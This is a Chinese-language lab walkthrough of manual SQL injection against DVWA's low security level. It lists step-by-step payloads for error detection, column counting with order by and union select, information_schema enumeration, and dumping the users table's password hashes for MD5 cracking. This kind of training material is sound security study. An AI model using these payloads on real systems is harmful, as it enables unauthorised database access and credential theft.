dvwa之sql injection(low)手工注入笔记

首先使用1,2,3,4,5都会返回用户列表

dvwa之sql injection(low)手工注入笔记

dvwa之sql injection(low)手工注入笔记

然后再使用1'进行判断,发现报错,既知道存在注入漏洞

dvwa之sql injection(low)手工注入笔记

使用语句 1' and '1' ='1 的时候会出现正常:

dvwa之sql injection(low)手工注入笔记


当输入1‘ or '1'='1是,这个式子是个永真式,返回所有结果:

dvwa之sql injection(low)手工注入笔记

分析字段数(两种方法)


 

方法一:用order by语句。(默认是进行升序的)

分析字段数的原因是我们之后需要用unionselect语句来获得我们需要的敏感数据。根据orderby知识知道,要是后面跟着的数字超出了字段数时,就会报错!通过这个我们可以确定字段数。我们构造的payload如下:

1' order by 1#

dvwa之sql injection(low)手工注入笔记

1' order by 2#

dvwa之sql injection(low)手工注入笔记

1' order by 3#

dvwa之sql injection(low)手工注入笔记

此时 当输入到3的时候,发现它报错了,也就是说字段数为2。

 

方法二:直接用unionselect来猜测字段数。

因为当字段数不对应的时候,它也是会发生报错的!我们构造以下查询语句:

1' union select 1#

1' union select 1,2#

1' union select 1,2,3#

dvwa之sql injection(low)手工注入笔记

dvwa之sql injection(low)手工注入笔记

 可以发现,当union select1,2,3的时候报错,union select1,2的时候没有报错,也就是说字段数为2。同时,我们也注意到,好像返回的内容中多了三条数据,这是啥呢?其实这就是我们unionselect出来的数据。这样通过查看页面,我们便可以获得数据库里面的信息了!

获取信息

字段数为2,说明数据列有两列。我们可以通过unionselect语句查出两个数据。好了,我们来获取所需要的数据库里面的信息吧!

 获取当前数据库名,当前用户名

构造数据库查询语句如下所示:

1' union select database(),user()#

dvwa之sql injection(low)手工注入笔记

解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。

好的,我们可以看到当前使用的数据库为:dvwa,当前的用户名:[email protected]

  

当mysql的版本大于5.0时,有个默认的数据库information_schema,里面存放着所有数据库的信息,比如数据库名、表名、列名等

1' and 1=2 union select 1, schema_name from information_schema.schemata; -- 
1' and 1=2 union select 1, schema_name from information_schema.schemata; --  (--后面有一个空格)


dvwa之sql injection(low)手工注入笔记

由此知道数据库中有6个数据库


然后使用下面的语句进行爆表

1' and 1=2 union select table_schema,table_name from information_schema.tables; -- (注意此处有空格)

dvwa之sql injection(low)手工注入笔记

现在我们知道了dvwa数据库中有两个表,分别是guestbook和users,下面我们构造SQL语句得到users表中的所有属性列

爆出列值

1' and 1=2 union select table_name, column_name from information_schema.columns; -- (--后面有一个空格)


上面的语句返回了各个表中的所有属性列,users表的结果如下:

dvwa之sql injection(low)手工注入笔记

现在我们知道了users表中的所有属性列名称了,我们可以查询自己感兴趣的东西,比如说用户的user_id和password

(4)爆密码

1' and 1=2 union select user_id,password from dvwa.uesr ; -- (注意空格)

1' and 1=2 union select user_id,password from dvwa.users; -- 

上面的语句返回了用户ID和其对应的密码,结果如下:

dvwa之sql injection(low)手工注入笔记

然后就是使用md5进行解密了


以上部分内容参照互联网部分数据